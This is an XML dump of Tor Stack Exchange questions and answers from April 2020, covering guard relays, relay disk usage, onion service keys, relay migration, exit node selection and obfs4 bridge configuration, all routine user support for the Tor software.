  <row Id="21110" PostTypeId="1" CreationDate="2020-04-17T04:19:53.470" Score="2" ViewCount="257" Body="&lt;p&gt;Right now, a user can be deanonymized if an attacker controls the entry node and the exit node in a Tor circuit. The attacker can discover the IP of the originator, and the site they are accessing. It gets even worse if it was not secured with https.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible, if a user is willing to deal with latency, that they may construct a circuit larger than the regular 3 hops. Even given this, the above attack is still perfectly possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what if the entry did not KNOW they were an entry node? Then the entire scenario changes. Imagine the same attack, but the entry node doesn't know for certain that it is being used as an entry node. As far as they know, they could be in the middle of a circuit OR an entry node. They could not conclude with certainty, one way or the other, whether or not the user that they have 'deanonymized' is truly the originator of the data being sent!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For all they know, it could have been part of a circuit longer than the standard 3, and the node that sent it the data was actually an entry node or another middle node just relaying data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why do entry nodes have their own listing and know that they are entry nodes? What might be the downsides of 'merging' entry nodes and middle nodes so they cannot tell which role they are fulfilling?&lt;/p&gt;&#xA;" OwnerUserId="30080" LastActivityDate="2020-05-17T06:02:45.410" Title="Why are entry nodes allowed to know that they are entry nodes?" Tags="|anonymity|relays|onion-routing|circuit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21111" PostTypeId="2" ParentId="21110" CreationDate="2020-04-17T04:58:10.923" Score="2" Body="&lt;p&gt;The network doesn't make the distinction of entry relays. Any Tor client is allowed to use any relay for any hop of the circuit (except with restrictions on the exit relay). To limit the types of attacks you describe, Tor clients use a set of guard relays. Any relay that is stable, fast, and has a good uptime is given the &quot;Guard&quot; flag by the directory authorities. This means that clients will add them to their guard sets, therefore using them as entry relays. These relays with the &quot;Guard&quot; flag are still used as middle relays (and sometimes exit relays), meaning they can still be used anywhere in the circuit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately the first relay of a circuit (the entry relay, usually a guard relay) will always know if it's the entry relay based on the incoming TCP connection. There are a few reasons for this. The simplest is that the relay can see the IP address that is connecting to it. If that IP address is not a relay's IP, then it is most likely a client's IP. Also, clients don't have long-term identities like relays do. This means that relays know during the link handshake if a client is connecting.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastEditorUserId="24966" LastEditDate="2020-04-17T05:11:29.037" LastActivityDate="2020-04-17T05:11:29.037" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21113" PostTypeId="1" AcceptedAnswerId="21116" CreationDate="2020-04-19T09:47:33.267" Score="0" ViewCount="353" Body="&lt;p&gt;I run a &lt;em&gt;tor&lt;/em&gt; relay on a Raspberry Pi, with ramdisk e.g. used for &lt;code&gt;/var/lib/tor&lt;/code&gt; and some other folders that see lots of data written, so that the SD card does not see too many writes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;No the folder &lt;code&gt;/var/lib/tor&lt;/code&gt; sees more and more data stored, until the ramdisk is full and &lt;em&gt;tor&lt;/em&gt; stops working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My &lt;em&gt;tor&lt;/em&gt; version is 0.4.2.7, I've recenty upgraded from an older version (based on &lt;code&gt;debian stretch&lt;/code&gt;). I've not seen this problem before the upgrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to avoid that &lt;em&gt;Tor&lt;/em&gt; uses so much space?&#xA;Here are the biggest files and folders:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/var/lib/tor/diff-cache 75M&#xA;/var/lib/tor/cached-descriptors 60M&#xA;/var/lib/tor/cached-descriptors.new 27M&#xA;/var/lib/tor/keys 11M&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update (2020-04-21):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my settings are now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DirPort 9030 # unchanged&#xA;DirCache 0 # new&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I received once the log message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[warn] DirCache is disabled and we are configured as a relay. We will not become a Guard&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;V2DIR&lt;/code&gt; flag for my relay on &lt;a href=&quot;https://metrics.torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Metrics&lt;/a&gt; is gone now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll wait how the folder &lt;code&gt;/var/lib/tor&lt;/code&gt; fills up and report the results here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update (2020-04-22):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The memory usage in folder &lt;code&gt;/var/lib/tor&lt;/code&gt; seems to be stable at 75M (for two days now), so &lt;code&gt;tor&lt;/code&gt; keeps running without running out of space.&lt;/p&gt;&#xA;" OwnerUserId="15665" LastEditorUserId="15665" LastEditDate="2020-04-22T05:54:37.947" LastActivityDate="2020-09-27T14:50:08.123" Title="Tor-relay on raspberry : /var/lib/tor" Tags="|relays|raspberry-pi|raspbian|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21114" PostTypeId="2" ParentId="21109" CreationDate="2020-04-19T09:59:58.143" Score="1" Body="&lt;p&gt;debian-tor is an service account (group) created by Tor during installation. It has it's shell acces set to &lt;code&gt;/bin/flase&lt;/code&gt; which means you'll be logged out immediately when trying to login using it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check it by typing &lt;code&gt;sudo cat /etc/passwd | grep debian-tor&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what you have to do is to add the default user, for example ubuntu in Ubuntu operating system, to the &lt;code&gt;debian-tor&lt;/code&gt; group. You can do it by typing &lt;code&gt;sudo usermod -a -G debian-tor your_default_user&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After this you'll have to edit the torrc file and add the line &lt;code&gt;CookieAuthFileGroupReadable 1&lt;/code&gt; and &lt;code&gt;DataDirectoryGroupReadable 1&lt;/code&gt;in the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you'll have to restart tor, log out and login again (because you just change the user's group setting).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, if you type in &lt;code&gt;nyx&lt;/code&gt; you should able to start nyx as a non-root user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It took a while for me to figure it out as well. Hope this help.&lt;/p&gt;&#xA;" OwnerUserId="30092" LastEditorUserId="30092" LastEditDate="2020-04-19T10:06:03.710" LastActivityDate="2020-04-19T10:06:03.710" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21115" PostTypeId="2" ParentId="17959" CreationDate="2020-04-19T13:00:41.443" Score="1" Body="&lt;p&gt;Unlike other software, Tor browser does not make any entry in the Add and Remove Programs option under the Control Panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, the simplest way to &lt;a href=&quot;https://tb-manual.torproject.org/uninstalling/&quot; rel=&quot;nofollow noreferrer&quot;&gt;uninstall Tor browser&lt;/a&gt; would be to delete the Tor folder, usually available on the desktop of Windows 10.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps. &lt;/p&gt;&#xA;" OwnerUserId="30093" LastEditorUserId="88" LastEditDate="2020-04-20T11:36:24.843" LastActivityDate="2020-04-20T11:36:24.843" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21116" PostTypeId="2" ParentId="21113" CreationDate="2020-04-19T15:19:02.827" Score="1" Body="&lt;p&gt;If you go to &lt;a href=&quot;https://metrics.torproject.org/rs.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://metrics.torproject.org/rs.html&lt;/a&gt; and search for your relay, does it have the &quot;V2Dir&quot; flag? If so, your relay is acting as a directory cache. In this case you should set &lt;code&gt;DirCache 0&lt;/code&gt; in your torrc config to prevent your relay from caching extra directory documents that aren't needed for your relay to run.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-04-19T15:19:02.827" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21117" PostTypeId="2" ParentId="9080" CreationDate="2020-04-20T03:02:58.910" Score="0" Body="&lt;p&gt;I tried the above solution but I kept getting permission errors. This is how I fixed it (it's a permissions issue):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a new user&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;adduser &amp;lt;username&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sure a home directory exists for that user&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mkdir /home/&amp;lt;username&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the root account, copy the tor folder containing the executable you downloaded to the home folder for the non-root user:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mv ~/Downloads/tor-browser-linux64-9.0.9_en-US.tar.xz /home/&amp;lt;username&amp;gt;/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change the permissions like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;chown -R &amp;lt;username&amp;gt;:/home/&amp;lt;username&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To give the ownership of that folder to the non-root account. Then you'll be able to unzip/execute whatever you want in that folder as the non-root user. Hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="30096" LastActivityDate="2020-04-20T03:02:58.910" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21118" PostTypeId="1" CreationDate="2020-04-20T08:00:02.217" Score="1" ViewCount="408" Body="&lt;p&gt;I am trying to change the RSA private key for my website. I have heard you have to edit &lt;code&gt;/var/lib/tor/hidden_service/private_key&lt;/code&gt;, but that isn't a file. Here's the output of &lt;code&gt;ls /var/lib/tor/hidden_service&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;authorized_clients  hostname  hs_ed25519_public_key  hs_ed25519_secret_key&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried editing &lt;code&gt;hs_ed25519_secret_key&lt;/code&gt; but it shows weird symbols, probably because of its encoding. So where is &lt;code&gt;private_key&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="30097" LastActivityDate="2022-01-10T15:08:00.833" Title="Where is private_key on Ubuntu?" Tags="|web-hosting|private-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21120" PostTypeId="2" ParentId="21118" CreationDate="2020-04-20T11:26:37.230" Score="0" Body="&lt;p&gt;The private key of your Onion service is &lt;code&gt;/var/lib/tor/hidden_service/hs_ed25519_secret_key&lt;/code&gt;. It uses &lt;a href=&quot;https://en.wikipedia.org/wiki/EdDSA#Ed25519&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ed25519&lt;/a&gt; as signature scheme and &lt;em&gt;not&lt;/em&gt; RSA. Furthermore it is also not possible to edit the file directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to change the key, you can stop your Tor process, delete the files inside &lt;code&gt;/var/lib/tor/hidden_service&lt;/code&gt; and restart Tor. The software will then create new keys and a new hostname for you.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2020-04-20T11:26:37.230" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21121" PostTypeId="1" CreationDate="2020-04-20T23:57:37.467" Score="0" ViewCount="111" Body="&lt;p&gt;I’ve got a Debian VM with a relay running, however, I’d like to transfer it to another VM with minimal Debian installed. If I assign the new machine with the same IP and configurations, can it run the same relay? I would also delete the first VM.&lt;/p&gt;&#xA;" OwnerUserId="30101" LastActivityDate="2020-05-23T10:04:05.347" Title="Can you transfer a relay to a new device using the same IP?" Tags="|configuration|relays|help|linux|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21123" PostTypeId="2" ParentId="1248" CreationDate="2020-04-21T22:45:07.480" Score="0" Body="&lt;p&gt;open tor - hamburger menu opton (top right corner)&lt;br&gt;&#xA;         - options&lt;br&gt;&#xA;         - home&lt;br&gt;&#xA;         - 'homepage and new windows' &gt; dropdown &gt; 'custom urls'&lt;br&gt;&#xA;         - enter your url&lt;br&gt;&#xA;         - goto any other menu option to save the change.  &lt;/p&gt;&#xA;" OwnerUserId="30108" LastActivityDate="2020-04-21T22:45:07.480" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21129" PostTypeId="2" ParentId="21121" CreationDate="2020-04-23T10:00:39.290" Score="1" Body="&lt;p&gt;You can transfer a relay to another machine, even if it has a different IP address.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Stop the Tor process at the old computer.&lt;/li&gt;&#xA;&lt;li&gt;Install your operating system on the new machine.&lt;/li&gt;&#xA;&lt;li&gt;Install Tor on you Debian system. Best is to follow the &lt;a href=&quot;https://2019.www.torproject.org/docs/debian.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;instructions from the Tor Project&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Stop the Tor process: &lt;code&gt;systemctl stop tor&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Copy the &lt;code&gt;torrc&lt;/code&gt; from your old system to the new system.&lt;/li&gt;&#xA;&lt;li&gt;Copy the files from &lt;code&gt;/var/lib/tor/keys&lt;/code&gt; to the new system into the same directory. Check that they have the same permissions.&lt;/li&gt;&#xA;&lt;li&gt;Start the Tor process: &lt;code&gt;systemctl start tor&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Check the logs for errors, warnings etc.&lt;/li&gt;&#xA;&lt;li&gt;If everything works smooth, you can delete the files at the old system.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now your new system has the same configurations, identity, etc. as the old system.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2020-04-23T10:00:39.290" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21130" PostTypeId="2" ParentId="75" CreationDate="2020-04-24T04:09:55.527" Score="1" Body="&lt;p&gt;Git source is really easy stuff for install tor. But I want to tell the easiest alternative way for installing tor from official tor source code. This following commands for Centos. If you're using other Linux, install libevent-devel, groupinstall 'Development Tools' from your default package manager(apt-get or any other).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;root @ Centos.    &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Step 1:&lt;code&gt;wget https://dist.torproject.org/tor-0.4.3.4-rc.tar.gz&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Step 2:&lt;code&gt;tar -xf tor-0.4.3.4-rc.tar.gz&lt;/code&gt; and &lt;code&gt;mv tor-0.4.3.4-rc tor&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Step 3:&lt;code&gt;sudo yum groupinstall 'Development Tools'&#xA;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Step 4:&lt;code&gt;yum install libevent-devel&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Step 5:&lt;code&gt;cd tor&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Step 6:&lt;code&gt;./configure&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Step 7:&lt;code&gt;make&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Step 8:&lt;code&gt;make install&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Step 9:run &lt;code&gt;tor&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I hope this answer will helps you.&lt;/p&gt;&#xA;" OwnerUserId="30125" LastEditorUserId="30125" LastEditDate="2020-04-27T07:40:21.683" LastActivityDate="2020-04-27T07:40:21.683" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21131" PostTypeId="1" CreationDate="2020-04-24T11:35:00.873" Score="1" ViewCount="2032" Body="&lt;p&gt;Some websites detect my exit node and understand i am using tor browser and won't let me in their websites. VPN's do not prevent it from happening. neither does proxies. What can i do to hide my true exit node and trick a website into believeing i am not a tor user?&lt;/p&gt;&#xA;" OwnerUserId="30129" LastActivityDate="2020-04-27T14:41:14.240" Title="How to hide my tor exit node from getting detected?" Tags="|exit-relays|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21132" PostTypeId="1" CreationDate="2020-04-24T17:52:55.877" Score="1" ViewCount="506" Body="&lt;p&gt;I'm running Linux Mint 19.1 and I apt-get installed tor and it is running fine. However if I add the line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes {us}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;code&gt;/etc/tor/torrc&lt;/code&gt; and restart the tor service, the service starts successfully but tor doesn't work, by which I mean the socks proxy on port 9050 no longer has an internet connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To try to diagnose the problem, I added the following line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ControlPort 9051&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;code&gt;/etc/tor/torrc&lt;/code&gt; and ran &lt;a href=&quot;https://stem.torproject.org/tutorials/examples/list_circuits.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the ExitNodes line absent I get the expected output with 4 different circuits shown.&#xA;With the ExitNodes line present I get no output at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried different country codes and verified that exit nodes exist in those countries by looking at &lt;a href=&quot;https://metrics.torproject.org/rs.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this list&lt;/a&gt; but nothing seems to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried adding the &lt;code&gt;StrictNodes 1&lt;/code&gt; option as well without any difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any ideas how I can force an exit node from a specific country, or how to further diagnose this problem?&lt;/p&gt;&#xA;" OwnerUserId="30131" LastActivityDate="2020-04-24T23:06:46.310" Title="ExitNodes not making any circuits" Tags="|configuration|exit-relays|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21135" PostTypeId="2" ParentId="21132" CreationDate="2020-04-24T23:06:46.310" Score="2" Body="&lt;p&gt;I uncommented the following line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Log debug file /var/log/tor/debug.log&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in &lt;code&gt;/etc/tor/torrc&lt;/code&gt; and restarted the tor service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then read the following 268 lines in to the &lt;code&gt;debug.log&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[warn] Failed to open GEOIP file /usr/share/tor/geoip.  We've been configured to use (or avoid) nodes in certain countries, and we need GEOIP information to figure out which ones they are. Do you have the tor-geoipdb package installed?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After running &lt;code&gt;sudo apt install tor-geoipdb&lt;/code&gt; it worked fine.&lt;/p&gt;&#xA;" OwnerUserId="30131" LastActivityDate="2020-04-24T23:06:46.310" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21138" PostTypeId="2" ParentId="5995" CreationDate="2020-04-25T11:13:11.323" Score="1" Body="&lt;p&gt;You must understand that new Tor exit nodes are being created every minute or so. You can just use a new one, it will not be in Wikipedia block list. I do not remember the correct torrc option for this though. Smth like &quot;Up since&quot; maybe.&#xA;See &lt;a href=&quot;https://tormap.void.gr/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tormap.void.gr/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29945" LastEditorUserId="29945" LastEditDate="2020-04-25T14:56:28.043" LastActivityDate="2020-04-25T14:56:28.043" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21139" PostTypeId="1" AcceptedAnswerId="21152" CreationDate="2020-04-26T11:45:53.003" Score="2" ViewCount="381" Body="&lt;p&gt;How can I make Tor functions on Heroku? &#xA;I'm using tor as a proxy rotator along with my python project for web crawling. &#xA;Everything works fine on localhost but I don't find how to make tor functions on Heroku? do I just install it on the Heroku server?&lt;br&gt;&#xA;or are there any other solutions? &lt;/p&gt;&#xA;" OwnerUserId="30147" LastActivityDate="2021-03-20T20:42:38.883" Title="how to make tor functions on Heroku" Tags="|tor-install|server|python|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21140" PostTypeId="2" ParentId="21131" CreationDate="2020-04-27T14:41:14.240" Score="1" Body="&lt;p&gt;Tor exit nodes ips are public and can be easily found. They can be found at &lt;a href=&quot;https://www.dan.me.uk/torlist/?exit&quot; rel=&quot;nofollow noreferrer&quot;&gt;dan.me.uk list&lt;/a&gt; or &lt;a href=&quot;https://metrics.torproject.org/rs.html#search/flag:exit%20&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor metrics with exit flag&lt;/a&gt;.&lt;br&gt;&#xA;There is nothing you can do except for contacting site administrators and telling them to support connections from Tor (unlikely that they'll do it). If you still want to access the site, you can use a private proxy (you can use &lt;a href=&quot;https://github.com/haad/proxychains&quot; rel=&quot;nofollow noreferrer&quot;&gt;proxychains&lt;/a&gt; to chain your traffic through tor and then a private proxy).&lt;/p&gt;&#xA;" OwnerUserId="17825" LastActivityDate="2020-04-27T14:41:14.240" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21141" PostTypeId="1" AcceptedAnswerId="21144" CreationDate="2020-04-28T04:53:30.907" Score="0" ViewCount="68" Body="&lt;p&gt;I just want to let all my network traffic go through Tor and I saw someone did it on Linux, but I've never seen this on Windows.&lt;/p&gt;&#xA;" OwnerUserId="30161" LastActivityDate="2020-04-30T04:57:43.463" Title="How to anonymize application that not support proxy by using Tor on Windows?" Tags="|configuration|windows|proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21142" PostTypeId="2" ParentId="18061" CreationDate="2020-04-28T06:04:39.007" Score="2" Body="&lt;p&gt;There is no way to specify the US state for an exit relay. This is mainly due to two reasons:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Translating IP addresses to geographic locations is difficult, and even just IP to country is complicated.&lt;/li&gt;&#xA;&lt;li&gt;There might be very few exit relays in a small geographic region and this can cause you to use a small set of exits for all of your circuits, harming your anonymity.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-04-28T06:04:39.007" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21143" PostTypeId="2" ParentId="18061" CreationDate="2020-04-28T12:22:08.357" Score="0" Body="&lt;p&gt;there is no built-in way for doing that :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but! if you have a dataset mapping between IPs and States, you can modify your &lt;code&gt;geoip&lt;/code&gt; and &lt;code&gt;geoip6&lt;/code&gt; files to allow that!&lt;/p&gt;&#xA;" OwnerUserId="30163" LastActivityDate="2020-04-28T12:22:08.357" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21144" PostTypeId="2" ParentId="21141" CreationDate="2020-04-28T12:27:05.997" Score="1" Body="&lt;p&gt;check out &lt;a href=&quot;https://www.proxifier.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Proxifier&lt;/a&gt; which allows you to pass an executable's traffic through any SOCKS proxy.&#xA;you can set it to proxy all your traffic.&lt;/p&gt;&#xA;" OwnerUserId="30163" LastEditorUserId="30163" LastEditDate="2020-04-30T04:57:43.463" LastActivityDate="2020-04-30T04:57:43.463" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21145" PostTypeId="1" AcceptedAnswerId="21151" CreationDate="2020-04-28T12:48:35.360" Score="1" ViewCount="602" Body="&lt;p&gt;I'm trying to run tor via terminal because I just need the proxy functionality and not all the other stuff TorBrowser offers. I'm on macOS and installed tor using &lt;code&gt;brew install tor&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tor is censored on my network. but when I check &quot;use built-in bridges&quot; inside TorBrowser it connects fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I located the &lt;code&gt;torrc&lt;/code&gt; file of the TorBrowser in &lt;code&gt;~/Library/Application Support/TorBrowser-Data/Tor&lt;/code&gt; and copied the bridge information into my cli torrc file which is located in &lt;code&gt;/usr/local/etc/tor/torrc&lt;/code&gt; but when I try to run &lt;code&gt;tor&lt;/code&gt; command it gets stuck and fails to connect.&#xA;&lt;br/&gt;&#xA;&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is my torrc content (there are more than 10 bridge describers, for security reasons I just posted one):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Bridge obfs4 193.11.166.194:27015 2D82C2E354D531A68469ADF7F878FA6060C6BACA cert=4TLQPJrTSaDffMK7Nbao6LC7G9OW/NHkUwIdjLSS3KYf0Nv4/nQiiI8dY2TcsQx01NniOg iat-mode=0&#xA;UseBridges 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when I run &lt;code&gt;tor&lt;/code&gt; it stucks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Apr 28 17:10:08.476 [notice] Tor 0.4.2.7 running on Darwin with Libevent 2.1.11-stable, OpenSSL 1.1.1g, Zlib 1.2.11, Liblzma N/A, and Libzstd N/A.&#xA;Apr 28 17:10:08.477 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Apr 28 17:10:08.477 [notice] Read configuration file &quot;/usr/local/etc/tor/torrc&quot;.&#xA;Apr 28 17:10:08.480 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Apr 28 17:10:08.481 [notice] Opened Socks listener on 127.0.0.1:9050&#xA;Apr 28 17:10:08.000 [notice] Parsing GEOIP IPv4 file /usr/local/Cellar/tor/0.4.2.7/share/tor/geoip.&#xA;Apr 28 17:10:08.000 [notice] Parsing GEOIP IPv6 file /usr/local/Cellar/tor/0.4.2.7/share/tor/geoip6.&#xA;Apr 28 17:10:08.000 [notice] Bootstrapped 0% (starting): Starting&#xA;Apr 28 17:10:08.000 [notice] Starting with guard context &quot;bridges&quot;&#xA;Apr 28 17:10:08.000 [notice] Delaying directory fetches: No running bridges&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried to add these lines to my torrc but no luck :(&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ClientTransportPlugin meek_lite,obfs2,obfs3,obfs4,scramblesuit exec PluggableTransports/obfs4proxy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what I am doing wrong? please help  thank you&lt;/p&gt;&#xA;" OwnerUserId="30163" LastEditorUserId="30163" LastEditDate="2020-04-28T15:09:34.930" LastActivityDate="2020-04-29T19:01:29.517" Title="Having trouble connecting to tor via cli but TorBrowser connects without Problems" Tags="|tor-browser-bundle|bridge|mac|censorship|obfs4|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21146" PostTypeId="2" ParentId="21145" CreationDate="2020-04-28T17:04:09.847" Score="0" Body="&lt;p&gt;Tor doesn't come with obfs4 support out-of-the-box. On Debian-based distributions you can usually &lt;code&gt;apt install obfs4proxy&lt;/code&gt;, but this doesn't seem to be supported on brew. Instead you can build the obfs4 proxy manually (it's a Go program) or you could probably go to &lt;code&gt;Browser/TorBrowser/Tor/PluggableTransport&lt;/code&gt; in your Tor Browser directory and use the copy from there. In your torrc file, note that you specified the path of this program as &lt;code&gt;PluggableTransports/obfs4proxy&lt;/code&gt; in your &lt;code&gt;ClientTransportPlugin&lt;/code&gt; line.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-04-28T17:04:09.847" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
